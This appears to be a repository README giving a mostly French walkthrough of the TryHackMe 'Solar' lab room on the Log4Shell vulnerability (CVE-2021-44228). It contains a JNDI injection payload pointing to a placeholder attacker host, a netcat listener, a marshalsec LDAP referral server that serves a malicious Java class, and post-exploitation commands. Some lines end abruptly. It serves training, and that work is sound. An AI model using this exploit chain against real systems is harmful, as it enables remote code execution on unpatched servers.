
This repository provides a detailed walkthrough of the *Solar Exploiting Log4j room* on TryHackMe, focusing on exploiting the critical Log4Shell vulnerability (CVE-2021-44228). The project demonstrates how attackers can leverage insecure logging mechanisms in Java applications to achieve remote code execution.
Plateforme : TryHackMe
Difficulté : Moyenne
Sujet : Log4Shell (Vulnérabilité Log4j)
Exploiter la vulnérabilité Log4j (CVE-2021-44228) pour obtenir une exécution de code à distance et capturer les drapeaux.
nmap -sC -sV <TARGET_IP>
La vulnérabilité Log4j permet l'injection JNDI :
${jndi:ldap://<ATTACKER_IP>:1389/a}
Si l'entrée est journalisée → la vulnérabilité existe.
nc -lvnp 4444
git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package
Exécuter le serveur LDAP :
java -cp target/marshalsec.jar marshalsec.jndi.LDAPRefServer "http://<ATTACKER_IP>:8000/#Exploit" 1389
python3 -m http.server 8000
Créer une classe Java malveillante (Exploit.class)
Injecter la charge utile dans le champ vulnérable :
${jndi:ldap://<ATTACKER_IP>:1389/Exploit}
💡 Utiliser des en-têtes comme :
Une fois déclenché :
Vérifier :
sudo -l
Rechercher :
find / -name flag.txt 2>/dev/null
cat flag.txt